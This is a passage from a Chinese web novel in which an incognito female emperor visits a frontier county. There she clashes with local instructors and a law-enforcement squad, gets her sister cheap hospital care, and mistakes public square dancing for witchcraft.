蒙武冷汗唰的就从额头滴下。 要不是现在人多眼杂,他怕是要立刻跪下。 此刻他只能嗫嗫嘴,躬身不停颤抖。 “陛下,臣该死,是臣治下不严。” “荆州督军乃臣的部将,曾跟随臣征讨漠北。” 秦曦没说话,一双眸子死死锁定在那牛车上。 牛车没有遮挡,就是普通的黄牛拉着车,两名青年坐在车上,手里不知道捣鼓什么,一路有说有笑,来往的人认识他们,也会主动点头问好。 如此和祥的一幕,在长安城绝对看不到,荆州督军长子和次子,放在京城内,那都是很特殊的存在。 “陛下,此人跟随臣西征漠北,在平定胡族之中率领三百轻骑深入胡族腹地,身中七箭,依旧悍勇无敌。” “臣念在往日功绩,以及他的心性上,便和陛下举荐。” “去年上元节,他曾带着两个儿子,亲赴臣家中,刚刚那两人,就是他的儿子曹云飞和曹云霄。” 官场中同僚举荐,这是再正常不过,可偏偏前有荆州百姓军功被冒领,后有青尧县,又有蒙武举荐,无论从哪一点看,他才是那个大恶人。 秦曦皱皱眉,满朝文武之中,能深得她信任的,也只有李牧和蒙武。 “无妨。” 但经过这件事,她虽然没流露太多,也从内心生出警惕。 蒙武满门忠义,是先皇在世,亲自领着她上门,求老将军许下承诺,这才护佑她成功登基。 她做不出那种功成杀功臣的事情,也不会毫无防备。 “我不想听无用的言语!” 秦曦缓缓吐出一句,冰冷话语直戳蒙武心口。 蒙武浑身上下,如同从水中捞出来的,汗水已经打湿了他的后背。 看着他这样子,李牧无奈叹息。 经过此事,蒙氏一脉多年的忠义,怕是要被彻底败坏。 此事他也不知道是好还是坏,蒙武把持兵权,经过这件事,反倒是给了圣上借口,将兵权收回。 三人心思各异,秦曦的目光随着牛车不断拉远。 牛车在街角拐了个弯,随后停在个院子前面。 车刚停下,里面跑出来十几个青年,和曹云飞等人差不多年岁,但这些青年对两人极为恭敬。 “曹公子和曹二公子来了,大家都让让!” 街角也爆发出惊天的欢呼,那样子似乎两个纨绔出门。 秦曦眉头皱起,一言不发的迈开脚步,快速朝着街角走去。 院子宽大,高两米的院门上有牌匾。 “匠作学院。” 透过大门,可以看到里面有七八间青瓦房,而曹云飞兄弟二人,正站在门口。 和之前那院子不同,这院中没有郎朗读书声,站在门口都能听到各种粗言秽语,甚至还能听到辱骂声。 “瞎了你的眼,学这么长时间,连个磨具都不会做,你对得起你爹妈供的钱?” “滚去练,不练会不准吃饭!” 一名身着粗布的老者骂完,扭头看到曹家兄弟,立刻换上笑脸。 “两位曹公子,快里面请!” 三人路过先前那被老者羞辱的青年,老者抬起脚,就是一脚踹在对方的屁股上。 青年不查,被一脚踹翻,手里的东西也被踹掉落。 结果曹家兄弟二人,不但没去搀扶,反而嘻嘻哈哈,对青年指指点点。 青年完全不敢说话,低头半跪在地上,将东西一点点捡起。 如此一幕,让不少人皱起眉。 门外紧跟两人而来的秦曦,胸腔起伏不断,她最恨就是这些纨绔,原以为这两人是什么知书达礼,没想到只是披着人皮的纨绔。 她没去看那嚣张的老者和曹氏兄弟,而是冷冷瞥了眼蒙武。 那样子明显是再说:这就是你举荐的功臣? 蒙武脸色发白,老者和曹氏兄弟的作为,已经触犯了秦曦的底线。 “我们也进去!” 学院没有禁止外人进入,秦曦低声道了声,带头往学院中走。 她倒要看看,这学院是否和许攸说的那样,是不是个圣地,到底能不能为青尧县带来“人才”! 她刚进入,就听到里面传来不屑的冷哼。 “就你们这些泥腿子,一辈子都翻不了身,若不是你们爹妈,你们哪来的脸面,站到这里,和我平起平坐?” “我爹乃当朝五品,青尧县的县令也不过是七品,今日我来此,是给尔等面子!” “看看你们这些废物,你们有何德何能?还站好,谁敢乱动一下,我打断你的狗腿!” 秦曦眼底寒意不停绽放,一双粉拳也早已攥紧。 这所谓的圣地,不过是纨绔取乐的娱乐所在,根本就不是为了青尧县。 庭院内,上百人站成三排,曹云飞抓住一人,快速拽出队伍,随后拳打脚踢。 “本少爹是督军,懂不懂什么是督军?一句话就要你小命!” “你敢还手吗?你敢吗?” “不敢,那就给本少跪着,今日不跪五个时辰,我就让人扒了你的皮!” 可那人根本不敢反抗,最后居然跪在地上,一动不动的任由欺凌。 “住手!” 忍无可忍之下,秦曦再也忍不住,爆喝一声,身形也飞速朝着曹云飞冲去。 只是一瞬间,刚才还满脸嚣张的曹云飞,已经被秦曦踩在脚下,脸上也全是鞋印。 “夭寿了!教官被打了!” “快去请王教头,曹公子被打了!” 第二十五章 女帝啪啪被打脸 曹云飞很懵,他可是青尧县县令许攸的好兄弟,两人一起扛过沙包,一起去过天上人间。 可他,居然被个女人打了! “这位小姐,你是不是打错人了?” 众目睽睽之下,曹云飞被秦曦踩在脚下,浑身动弹不得。 四周学堂学子目瞪口呆,连学堂的祭酒也瞪大双眼,呆滞的看向秦曦。 也不知道是谁艰难扯出一句。 “快去请王教官,曹……曹公子被女人打了!” 曹云飞面色发白,喉结上下滚动,很是艰难的咽了口吐沫。 他能感觉到,自己以后的日子,必然比这帮学员好不了多少。 “小娘子,你……很好!” “本少认栽!你动手吧!” 秦曦冷笑连连,她最看不惯就是这种纨绔子弟,在长安城内就没少教训这样的存在。 “今日,朕……真当是开了我眼界,没想到这小小青尧县,也有横行霸道的纨绔子弟!” 曹云飞能说什么呢? 他好好一教官,从荆州不远千里到青尧县,负责帮忙训练城防和操练技术学堂的子弟。 今日也不过是按照管理,先口头示威,再找个刺头出来展现下实力,结果他被打了! “住手!” 就在这时候,门外出现一道魁梧身影。 来人四十左右,虎背熊腰,手里拿着根拐棍,一只脚在地面跳动,身上布衣早已发白,脸上更是吓人,伤疤纵横,将他脸完全毁掉。 在场除了秦曦等人外,其余人看到壮汉,无一不低头,主动让开一条道路,其尊敬程度,是秦曦等人第一次见到。 “哎哟,王教头你可算来了。” “大家都让让,让王教头先过去。” “有王教头在,都不用怕,没人敢闹事!” 秦曦抬起头,凤眸之中浮现出愕然。 独腿壮汉就这么在她注视下,一直来到了她的面前。 在距离她还有五步位置,壮汉停下脚步,轻蔑扫了眼地上的曹云飞,缓缓吐出两个字。 “废物!” 曹云飞脸色涨红,却连个屁都不敢放,只能呐呐的将脑袋瞥到一边。 随后壮汉又上下打量了眼秦曦,那双冰冷的眸子,是秦曦此生第一次见,仿佛下一刻,壮汉就有可能暴起。 此刻李牧和蒙武带着小公主,也撤到了秦曦身侧,两人都警惕的看着壮汉。 谁知壮汉看都没看两人一眼,从怀里掏出一块牌子丢给先前的老者,随后朝着那群学子走去。 “立如松,行如风,你们这群废物,若是在兵营之中,只能是逃兵!” “都他娘给我站好,老子一条腿都站的比你们直!抬头,挺胸,收腹!” “很好笑吗?今日被女人打,明日被胡族打,你们还要不要脸?谁刚才不守规矩的,出列!” 此话一出,刚刚看到曹云飞被打,从而开始松懈的几名青年,在壮汉眼神逼迫下,一个个和霜打茄子般灰溜溜走出队列。 看着几名青年,壮汉嘴角勾起嗜血笑容。 “很好笑?” 几名青年脸色煞白,都疯狂摇头,有的吓得开始双腿都在打颤。 “不好笑你们笑什么?既然想笑,那就笑吧!” “每人一个时辰,笑不够时间,今日饭食取消,若是有意见,让你们爹妈来找我!” “我王麻子可不怕!” 这一幕,如同一记耳光,狠狠抽在了秦曦的脸上。 她之所以生气,不就是因为曹云飞兄弟,将百姓当做玩物,随意践踏辱骂? 可转眼的功夫,来了个壮汉,还是个身体残缺的壮汉,面对同是穷苦出身,他不但没惩恶扬善,反而开始斥责那些受压迫的青年。 更重要的是,这些青年一个个敢怒不敢言! 为什么? 一股无法遏制的怒火,在秦曦心头燃烧,有那么一瞬间,她想要现在就下令,将这满城猪狗屠杀殆尽。 “站住!” 秦曦冷哼一声,一个健步冲到独腿壮汉身侧,面带寒霜沙哑着嗓子质问。 “你等都是百姓出生,为何要欺压他们!” “他们不过是笑了一声,这又何妨?难道被纨绔压迫,一朝翻身,为何不能笑?” “我看你也是军伍出身,不但不思保家卫国,还助长这些纨绔气焰,其心可诛!” 身为大唐的皇帝,秦曦浑身上下,都充斥着贵气和霸道,此刻她双眼微红,粉拳都因为用力过度,变成了煞白。 听到她这番言论,王麻子和老者都转过头,两人看了眼她,又露出了不耐和鄙夷。 老者上前一步,来到秦曦面前,用冰冷的语调道。 “这位小姐,不是我们青尧县的人,就不要插手我们自己的事情!” “你说的冠冕堂皇,可知道我们青尧县三大铁律?” “凡年满十六,必须每年抽出一月参加军训,至于你说的这位,乃我们青尧县大英雄!” 说到此处,老者眼神愈发冰冷。 “你说曹公子不配,他是纨绔,老朽不知晓,但王麻子你辱不得!你辱他,就是和我青尧县作对,和我青尧县百姓作对!” “七年前,蛮族三千铁骑南下劫掠,他用命拖延了十五日,同行一百七十人,只有七人活下来!” “五年前,许大人刚至青尧,是他带领县城百姓组建防卫营,抵御了胡族侵袭。” “他这张脸,是胡族用刀一刀刀划的!” 老者的眼神愈发冰冷,语调掷地有声。 这一句句,犹如刮骨钢刀,在秦曦身上不断游走。 秦曦呆愣在原地,凤眸之中都是不敢置信。 “你们……为何不上报朝廷。” 她脑子内只有这句话,说完后,全身似乎被抽干力气,若不是李牧反应的快,此刻她就会瘫倒下去。 老者冷冷的瞥了她一眼。 “朝廷有什么用?吃我们的肉,吸我们的血,我们儿孙都在那塞外,尸骨至今未曾收回!” “许大人曾言,弱国无外交,真理是靠打出来,而不是靠着嘴上的功夫!” “凡是为青尧县,为整个荆州,为西北流过血,负过伤之人,那都是英雄!” “我等子孙万代,都要谨记!” “国仇家恨不能忘,家富国强在自身,尔等可有怨言?” 随着老者话音落下,冲天的应和声,随之响起。 “没有!” 虽然只有二十几人,可这些青年身上散发的气息,哪怕是久经沙场的蒙武,都感到胆寒。 秦曦被这股气势震慑,脚步连连后退,脸色更是由红转青,再由青转白。 她不能理解,也无法理解! 第二十六章 天子犯法也得被罚 “不对!这不对!” 秦曦失神之下,浑身帝王气质早已消散,就如同个受惊的小鹿,在不停摇晃脑袋! 她始终不明白,朝廷在各个州道都设有兵营,也有西北大营,足足有兵五万。 如此大量的守卫,怎么可能让青尧县这道门户被外族随意欺凌! 难道荆州督军,西北大营的将军们,都是吃干饭的? “呵呵。” 老者看着呆愣中的秦曦,眼底浮现出怜悯和可惜的神色。 “这位小姐,若是许大人见到你这般姿态,只怕你死都不知道怎么死的!” 他这话说的平淡,可带着一股深入股子里的寒意,让四周的空气,都逐渐凝固。 秦曦倏地回过神,她被眼前的老者气质给震惊,那是自骨子里来的傲气和不屑。 “倘若有一日,外族再次入侵,他们就是我们青尧县最后的力量!” “这是我们许大人,在四年前,当着全县百姓的面,亲口许下诺言。” “天子守不了的国门,我们这些百姓可以守,天子做不到的事,我们百姓可以做到!” “我们要用血肉,在这万里之内,修建一座城墙,让外族永生永世不敢再张口露出獠牙的兼顾城墙!” “为此,青尧县内早有法案,这是法,是铁律,你可懂?” 老者嘴角的轻蔑很是明显,在说到最后的时候,他看向秦曦的表情,也露出了不屑。 紧接着,他看向先前被秦曦羞辱的曹云飞。 “你等衣着华贵,口口声声朝廷,一口一句纨绔,那你可知道曹公子,为何在我们青尧县可以如此“嚣张”?” 秦曦哑口无言,她隐约觉得,她似乎犯了弥天大错。 可这一切的缘由,她居然全部不知道! 所谓大唐盛世,不过是官员们上下沆瀣一气,粉饰出来的景象,而非真正的那般吃人地狱。 “他和家中子弟,为我们青尧县修过路,为我们捐过钱,送过兵甲武器。” “如今他们是我们特聘教官,负责青尧县所有学堂子弟军训,每旬都会亲自巡察,为我们青尧县带来数万青壮力量。” “不知道这位小姐,你口中的朝廷,可有什么贡献?” “今日你是女儿身,我等便不刁难你,若是你非女儿身,定然让你知道我青尧律法!” “我等生而为青尧人,死而为青尧鬼,哪怕死了骨灰尸骸,也得砌成墙,为青尧抵挡风雪!” 这番话铿锵有力,听的人热血沸腾。 秦曦满脸苍白,朝廷在青尧县的威信力,早已低到和茅坑石头差不多,她居然妄图以朝廷来威吓。 此刻她心中没有恨,也没怒,只有复杂的愁绪。 李牧却双眼泪花闪烁,他从这些百姓身上,看到了大唐的希望。 自身强则国强,少年强则国强,好一句弱国无外交,好一句真理是靠拳头。 大唐建国至今,四周强敌环绕,外有十八族,内有流寇盗匪,还有西南叛军等。 如今朝廷看似祥和,实则内外被世家把持,天子不得权,终究是一场空。 他想要改变,想要变法,甚至把秦曦推到帝位,以女子之身称帝,可依旧无法改变这天下大势。 想想青尧县,想想整个荆州,为了大唐能够洗刷耻辱,他们负重前行多年。 在这一刻,李牧忽然想起来,康王离开京城之前,为何会突然拜访他,还会留下一句话。 “若是荆州失守,大唐也就亡了!” 何止是大唐亡了,大唐的魂也亡了! 念此,李牧有点庆幸,辛亏他来到青尧,否则以女帝性格,定然会拔剑荡平青尧。 此刻他突然有了一种置身事外的感觉,那是一种超然,在棋盘之外看热闹的感觉。 “咳咳,小姐,此事错在我等,不如我们道个歉如何?” 李牧笑呵呵的凑到秦曦面前,开始充当反骨仔。 秦曦刚被怼了一番,正天人交战,突然听到这话,差点没一口血喷出来。 她可是大唐的皇帝,让她给个泥腿子道歉? “放……放肆!” 她憋了半天,才从嗓子眼挤出这么一句话。 话语很苍白,也很无力,甚至掀不起任何波澜。 “他们将朝廷视作无物,是要造 反!” 秦曦现在只能靠着大义和朝廷这面虎旗压人,她不敢暴露,也害怕暴露。 百姓口中的昏君,不作为的皇帝,就是她! 唰唰,唰唰! 就在这时候,门外突然传来整齐的脚步声。 脚步整齐划一,隐约还有口号传来。 “向右转,立正!” 随着这声口号后,急促的脚步声,犹如死亡钟声,在众人心头缓缓敲响。 秦曦陡然瞪大双眼,入眼是一道黑色身影,若不是对墨麟军了如指掌,她下意识就会把对方当做墨麟军。 身影越来越近,给人的压迫感也越来越强烈,那股炽热的气息,压迫的人要喘不过气。 一队十三人,为首的是队长,全部身穿墨色铠甲,铠甲后有四根短矛,腰间配有箭囊,身侧挂着***弩,手握横刀,煞气直冲天际。 “执法队!” 在秦曦震惊的目光中,执法队一字排开,双手握住佩刀,背在身后,整个人如同钉子被钉在地上。 为首的队长则是一步步走进学堂,那冰冷的目光环顾一圈,没有理会满脸震撼的秦曦,而是快步来到王麻子身前。 “教官好!裴祭酒好!” “请问发生了什么!” 此人话语中不带任何感情,哪怕是问好,也只是机械的声音。 裴祭酒显然是见多了,并未计较这么多,躬身冲着来人拜拜,随后指着秦曦把事情经过全部道出。 那队长听说秦曦侮辱王麻子,还打了曹云飞,陡然转过身,双眸死死锁定在秦曦身上。 秦曦被看的发毛,她第一次感觉到,死亡如此的临近。 “我……我是……” 她正要说出自己身份,却听到那队长冷声道。 “依据青尧县治安法及青尧县军事法规定,你等违背了我青尧县律法,扰乱学堂教学,挑衅侮辱我青尧英雄,念在你等初次来我青尧,按照特殊处理方案处置!” “现将你等发配去城外劳作,十日后可归城,你等可有异议!” 要是平时,李牧早就跳脚,现在么…… 他完全不着急。 当今天子就是太任性,青尧县是个好地方,刚好可以打磨下。 就在队长宣读完处罚,小公主突然额头冒出细密汗珠,捂着小肚子,蹲到地上痛苦的呜咽出声。 “姐姐,月儿肚子好疼!” 刚还满脸煞气的队长,听闻这声,犹如炸了毛的刺猬,一个健步冲过来。 “快!快去医馆,加急!” 第二十七章 天价医药费 秦曦反应过来时,就看到那身穿墨色铠甲的队长,已经抱起小公主,正在没了命的往外狂奔。 小公主面色惨白,额头上冒出细密的汗珠,娇小身躯蜷缩成一团,似乎在忍受巨大痛苦。 “月儿,你,你如何了?” 刚才所有的心绪,已经被秦曦彻底抛在脑后,此刻她追着队长,伸手扶住小公主脑袋,满脸都是担忧。 “你可是哪里不舒服,快告诉姐姐!” 小公主自小就体弱多病,秦曦对这个妹妹也是溺爱至极,也正因为如此,她才会铁了心,想要这个妹妹继承衣钵。 可以说,小公主就是她的软肋。 “这位小姐,还请不要耽误,你脚程太慢,程某先走一步,前面就是医馆,你且慢慢走来!” 队长语调变得轻柔许多,不再是那冷冰冰的,不过说话间,他不忘记冲着四周大喊。 “愣着干什么,开道!急症!” 秦曦也蓦然抬起头,这才发现道路前方,确实有一座医馆。 只是她的速度,比起那队长,差了可不是一点半点。 见此,她只能咬住下唇,加快速度,一言不发的跟在队伍身后。 李牧倒是不着急,刚刚队长的出现,让他再次打开眼界。 青尧县不但严格遵照法规律法,还有专门的执法队,这些铁血汉子也不是冷漠之人,面对小公主,他们也会着急。 这才是真正的以民为本,而不是朝堂上,那些官员口中阵阵说辞。 “此行不亏!” 李牧瞥了眼蒙武,他有种感觉,蒙武这大将军估计要没了。 这边几人来到医馆,队长见到秦曦也冲过来,便将怀里的小公主转交回去,随后带着人守在门口,依旧是那冷面杀神模样。 “月儿,你可不要吓姐姐!” 秦曦自责的伸手抱住小公主,她浑身上下没有半点威严,只有当姐姐的担心和害怕。 “你这姑娘怎么回事,还不快进去!” “护士呢?快!有人昏过去了,快点过来!” 有人见到秦曦居然傻愣着,不由开口催促。 “你走那边,那边红色的通道是急症,你快去,别耽搁了!” 医馆内其他人,也纷纷让开道路,有好心的还帮忙领号。 秦曦听到这话,就仿佛抓住了救命的稻草,也顾不上说谢,只能感激的朝着那些人点头,随后抱上小公主,就往通道内冲。 李牧和蒙武也跟在她身后,几乎是寸步不离的守护在左右。 出现在几人面前的,是一条宽广的通道,里面很明亮,哪怕现在天色渐渐黑下来,里面依旧犹如白天。 在通道两侧,有几扇门,分别写着“急诊壹室”,“急诊贰室”等字样。 就在秦曦等人如同无头苍蝇,在前方站台处的一名护士走出,她身穿白色长衫,头发也被高高盘起,束在白色帽子中。 “小姐,请跟我来。” 护士面带微笑,走到秦曦身边,语气很是平和。 听到她温和的语气,秦曦紧张的心,瞬间便送了下来,似乎只要进到这里,哪怕是阎王来了,也夺不走小公主的性命。 几人来到壹室的门前,护士推开门,里面陈设很简单,就是一张桌子,以及一个布帘。 在里面有两人,其中一人满头华发,正在神情专注的看着桌上书册,而另外一名则是十八九岁的小姑娘。 “方医师,急症,是个小姑娘,可能是食物中毒!” 医师听到这话,立刻将手中书册放下,伸手指向旁边的小床。 “来,放到这里,我检查下!” 秦曦不敢怠慢,虽然这里和宫中不同,但现在可不是在宫中,她也只能死马当活马医。 只是很快她便皱起眉,医师动作很温和,旁边那个十八九的姑娘,也不停打下手。 两人手中器械,秦曦从未见过,甚至她还看到医师手里拿着个小小的琉璃。 看到这一幕,她大为震惊。 琉璃在青尧县,似乎很场景,先前天上人间,以及客栈内他们都曾见到,起初几人都没在意以为是噱头,现在看来,青尧县有得到琉璃的方法。 秦曦暗暗记下这件事,等小公主病好,她一定要调查清楚。 一番调查下来,医师收回手,重新做到桌案后面,只见到他笔走龙蛇,很快便开出个方子。 拿到方子的秦曦,看了看手里的方子,再看看医师,心里翻江倒海。 “敢问先生,这上面写了何种药物?” “哦,大黄牡丹汤,阑尾消炎药,以及镇痛溶剂。” 医师随口便答,说完后又觉得不妥,便再次解释。 “舍妹是否自小就身体不适,食欲不振,经常右下三指位置绞痛?” “一旦摄入过冷,或者过热的食物,情况尤为严峻,就和今日这般,是不是?” 秦曦凤眸瞪眼,她都没说小公主什么问题,眼前的医师居然一口就道出。 神医,这绝对是神医! “老先生此言极是,舍妹从小就是如此,可有什么良药能根除?” 这病纠缠了小公主三四年,哪怕是宫中御医也只能压制,并不能解决。 今日看到那全牛,再加上下午的奔波,秦曦全然忘记此事,现在想起来,心中懊悔不已。 再看眼前的老先生,她收起了轻视之心,态度也颇为恭敬,只希望眼前老先生能够彻底至于小公主的病。 李牧眼底也放出亮光,小公主是女帝的心头肉,何尝不是也是他的。 他这个做舅舅的,怎么可能愿意看到,自己的外甥女被病痛折磨。 只是他差人寻遍大江南北,各路神医郎中无数,都无人能治愈,只能一拖再拖。 如今看到有治愈的希望,若不是常年养成的养气功夫,李牧都要冲到桌案前,拉住医师的手,强行让他治疗。 面对两人火热眼神,医师倒是不悲不喜,只是将药方递给身边小姑娘,让其去取药。 “尔等不要着急,此乃慢性阑尾炎,想要治愈并非一朝一夕,但也不是没有治愈的可能!” 秦曦悬着的心,再次落回谷底,脸上也重新被死灰色覆盖。 “难道就真的没什么办法,快速治愈?” “有倒是有,但是风险极大,目前我们医馆还不具备治疗条件,只有县医疗中心具备!” “他们那有抗生素,可以进行手术,我们这里只能用中草药压制,还请见谅!” 秦曦再次懵住,片刻她眼底露出希冀目光,双手不由攥住医师的臂膀。 “那这药多少钱?” “钱?好像挺贵的!听许大人说研制成本在十两银子,怕不是要买一百文左右,加上手术费,估计要到十五两银子,你们做好心里准备!” 第二十八章 许大人堕落了 “十五万两,这确实有些多了!” 秦曦愣了愣神,此行出来她出来,确实没带多少钱,也只有十万两左右。 那老医师满脸古怪,盯着她看了两眼,摇头晃脑满脸的可惜。 “姑娘,年纪轻轻,可不能如此,我说的是十五两,我们青尧县医药费都有相关标准,可不敢乱收费。” “什么?!” 秦曦闻言整个人都立在原地,脸上布满了不敢置信。 十五两银子虽多,可在长安城内,大部分医馆都动辄百两,宫中御医每次用药也都在千两左右。 她难不成是听错了? 这并非十五两,而是五十两?亦或者一百五十两,一千五百两? 只是她愣愣后,有不可思议的看向老医师,那模样仿佛是在梦中。 李牧也呆在原地,对于此事他最有发言权。 他年过七旬,看似身体健硕,实则也有各种毛病,时间一长后,他对医馆的收费也很熟悉。 那些神医一开口,动辄就是十两黄金,或者百两纹银,少说都是百两起步,多得甚至能到千两万两的地步。 如今老医师口中“有点贵”,居然是十五两! 再想先前老医师念叨医药费,一副药两三百文都不到,李牧不由咽了口吐沫。 “若是不动用手术,就刚刚那服药,所需多少?” 老医师见惯了这种,淡定异常的回应。 “不多,挂号费二十文,急诊费二十文,外加汤药费,一共三百文。” “三百文?” 秦曦呆呆看着那小姑娘走近,从她怀里接过汤药,又被领着去付钱。 从始至终,她都感觉在做梦,三百文不过是大唐普通百姓几日的工钱,放到青尧县甚至不用一天。 如今她身处的医馆,看似普普通通,实则也普普通通,只是单纯治病救人,从不仗着医馆名头,做出漫天要价的事情。 被带到病房内,秦曦忍不住低头呢喃。 “此地……颇为独特!” “医药费如此低廉,所有人都能看得起病,那郎中也很厉害,一眼就看穿了月儿的病症,还有独特的手段,当真了不得!” 她的语气很复杂,病床上的小公主,吃过药后,正在休息,整个人精气神都比之前好很多。 以前她发病时候,宫中御医虽然能压制,但流程长,治疗过程复杂,哪有今日这样,简单三副药,吃完之后精神就好很多。 方才所见所闻,让三人都大开眼界,尤其是李牧。 “小姐,此地乃圣地,百姓有任何病症来此,都能得到妥善救治。” “适才我去缴费,便看到这医馆内分好几个不同区域,有急症、普通病、流行病以及疫病,里面还分男女内外,从头到尾都有详细细分。” 说到这里,李牧情绪有点激动。 不是他没见识,而是如此详细分类,需要大量人力物力,还有财力的支持。 此刻他也想到,为何长了坊那些书生会在里面抄书,长了坊只是医馆的简化。 他现在很期待,看到那传说的医疗中心。 “也不知道那医疗中心到底是何模样,怕是所有人都能有独道方面。论全部医术,他们或许比不过普通医馆郎中,但在他们所擅长的,怕是早已成为圣手!” “如此仁心仁术,非大毅力者不可!” “许攸,乃妖孽是也!” 秦曦闻言想要反驳,又露出复杂目光。 刚刚那执法队队长过来,对她开下罚单,劳务可以免除,但需要三千两白银。 担心小公主身体,她无奈缴纳了罚金。 作为天子,她第一次受到如此羞辱,可让她根本无法反驳。 每每想到这件事,她都觉得是耻辱。 “许攸,朕想要看看,你到底是何人。” …… “哈切!哈切!” 天色黑透,许攸正在县衙内,手里还拿一份汇报。 看到最后,他眉头不由皱起。 “你确定这些人,都是世家贵族,真的不是天子微服私访?” 其实今天秦曦遇到曹云飞,是他亲自安排,要不然根本不会那么巧。 曹云飞捂着脸,没了之前那嚣张模样,反而满脸郁闷。 “许弟,你这是不相信哥哥!” “哥哥可是去过长安城,亲眼见到陛下登基,怎么可能认错?” “那定然不是天子,不过应该是皇亲,不然也不会不怕我爹!” 许攸无语的瞪大眼,曹云飞这货天天吹牛,说什么一夜十三次,结果被个女人给一脚踹趴下。 “不愧是我看上的女人!” “啥?你看上了?许弟,你堕落了!” 曹云飞闻言,默默竖起大拇指。 许攸利索当然的点头,什么叫做一见钟情,他算是体会到。 只是他不方便出面,也害怕这些人是京城中天子安排,要是到时候死不成,那他一切的努力,岂不是白费了? “你再帮我试探试探,千万打探清楚。” “行,我这就去安排!” 曹云飞眼珠子一转,陡然来了个主意,嘴角也忍不住勾起。 …… 医馆内,秦曦三人还在讨论医药费的事情,浑然不知道,他们口中的国贼,正在谋划一件大事! “小姐,寻常医馆哪怕只是小病,也动辄十多两,此地反而不同,诊费比普通医馆低了将近百倍!” “如此规定必然要有人支持,这许攸是个人才!” 人才? 秦曦现在见不得人说许攸好,她难道不知道医馆价格低,对百姓好? 可她生性骄傲,先前还被人羞辱了一番,现在让她亲口承认许攸厉害,根本不可能! 想到这里,她又看向病床上已经好转的小公主,内心更是繁杂。 青尧县内百姓安居乐业,如此功绩,只要上奏朝廷,必然会得到封赏。 可许攸在干什么? 他上书请死! 这不是羞辱,这是什么? 秦曦银牙紧咬,她已然明白,这青尧县的县令,狗胆包天,故意仗着城池之利,上书羞辱她! “国贼,朕定要亲手斩了你!” 念此,秦曦冷冷的抬起头,双眸之中一抹厉色一闪而逝,转而起身抱起小公主,朝着外面走去。 李牧一愣,他突然发现自己好心办错了坏事,内心暗叫糟糕。无奈之下他也没办法,只能走一步看一步。 出门几人坐上马车,慢悠悠回到客栈。 不等几人上楼,眼前景象,再次吸引了几人的注意力。 第二十九章 大搞巫蛊邪术 秦曦将怀里小公主交给近侍,随后皱起眉,看向前方巨大的广场。 广场上灯火通明,号子声不断传出,还有丝竹声从空中传来。 “走,去看看!” 秦曦眼底闪过一丝冷意,她终于找到青尧县谋反的证据! 大唐有宵禁的禁令,昨日她就见到,青尧县晚上比白天还热闹,今天反而更加怪异。 随着脚步的迈动,空气中丝竹声愈发明显,人声也越显嘈杂。 待几人走到广场边缘,眼前的景象彻底让他们愣住,偌大的广场上,密密麻麻站满了人。 这些并非是白天看到的那样,男男女女都有,有的甚至白发苍苍,还有的不过七八岁。 十几个方阵整齐划一,随着丝竹声,有的在舞动手脚,也有的在手持长剑短棍,甚至秦曦还看到几人,手持十多米长鞭子,在人群最前面舞动。 和这些人不同的,是方阵另外一侧,这些人衣着华丽,有的才十八九岁,无论年纪大小,这些人都有个特点,很票联! 妖娆的曲线,随着丝竹声扭动,纤细腰肢如同水蛇,袖摆随动作而动,那样貌就仿佛是一群仙女谪落凡尘。 美!美到让人窒息,也让人胆寒! 更让秦曦等人惊讶的是,这丝竹声并非是一样,每个队伍旁边,都有单独的乐师和琴师。 他们所听到的声音,就是自这些人手中而来,那激昂、欢快、优雅的乐声,不断在几人耳畔萦绕,让场中的气氛变得更加怪异。 秦曦脑袋中,陡然想起一个传说。 “传说西南有巫术,可以沟通邪神,常常以血肉祭祀,每当月圆之夜,邪神出来作祟,便要以生灵血肉来饲养。” “今日正好月圆,难道……” 很不巧,天空中月亮皎洁,银色月光如同水流从天际倾泻而下。 月光照耀下,那些舞动身形的人,在秦曦眼底化作邪魔。 此刻她的眼神愈发冰冷,她万万没想到,青尧县内居然有如此大秘密! 上千人聚众祭祀邪神,这到底是想要做什么? 传说中邪神有蛊惑人心、点石成金等本事,而侍奉邪神的人,全都没有好下场,最后都得成为邪神的傀儡。 想到此处,秦曦只觉得浑身寒意上涌,整个人都似乎坠入了冰窟中。 她脸上没有半点表情,灯火映衬下,让她看上去很渗人。 身在帝王家,她也不是第一次见识到巫术,如今再次看到,这已经深深触及到她最敏感的那个神经。 若是她最痛恨的,就是巫蛊邪术! 当年她和太子争权,太子见到大局不可控,差人前往西南,请来三位巫师。 那一日,天空暗淡无光,宫中燃起大火,数千人惨死,至此后宫中常有鬼魅游魂传说。 甚至就连小公主,也曾亲眼见到。 秦曦很少下令杀人,但那一天,她没任何犹豫,流放了太子,斩杀了所有邪巫。 李牧是何等人杰,三朝首辅,一眼就看出秦曦此刻情绪不对。 他并没有直接出声,而是仔细观察,眼前这些人装束怪异,有的队伍里面全是白色衣服,有的则是花花绿绿,手里东西也各不一样。 尤其是那些人的动作,看上去整齐划一,实则总有几个乱了阵脚,若是在训练,这肯定说不过去。 一群满头华发的老人训练,这能有什么用?难不成送入战场,当前锋营不成? 再看那些女子,身上衣着不菲,一看就是有钱人家,她们脸上更多的是笑容和愉悦,并没有其他多余的情绪。 他起先也以为是什么巫蛊邪术,看了一会隐约觉得这件事,不是表面上这么简单。 被巫蛊邪术控制的人,都满脸呆滞无神,从未见过有人会满脸笑容。 “小姐,此事没那么简单。” 在外面,李牧也不敢暴露秦曦身份,倘若这里真的是邪神场所,那暴露之后,整个大唐将彻底覆灭。 秦曦眉梢紧锁,她最为忌讳,也是最痛恨巫蛊邪术,如今亲眼看到,眼前的李牧还要辩解。 若不是李牧是她亲舅舅,她定然会当场发作。 “为何?” “小姐你且看,那些人看似在舞刀弄枪,实则脚下虚浮,并无半点力气,拳脚之间也没煞气。与其说是祭祀,倒不如说是在随意舞动,再者祭祀怎么会动用这些,这岂不是大不敬?” 李牧看出点苗头,转头又看向那些贵妇千金们。 “再看这些女子,衣着曼妙,身形动人,她们脸上可都是笑容,全无半点被控制的模样。” “似乎……她们是在跳舞,就是单纯的跳舞!” 秦曦自然看的出来,这些女子在跳舞,可正因为看出来,她内心才恐惧。 李牧见她迟疑,便再次加深语气,缓缓开口劝说。 “小姐,我等此刻就在青尧县,今日所见所闻,都不同寻常,万万不可大意!” “若是此刻轻举妄动,万一惊动了他们,不但会惹来祸事,怕是还会让我等陷入被动,不可冲动。” 白天的事情,秦曦还历历在目,若不是她打了曹云飞,也不会有后来的事情。 三千两白银的罚款,让她现在也收敛许多。 “你说的有道理,那便过去问问,看看是为何这样!” 秦曦找了个理由说服自己,转身看向李牧。 李牧老脸一黑,他是来劝说秦曦不要太冲动,而不是想自己上。 他一把老骨头,虽然年纪大了点,可还想活些时日。 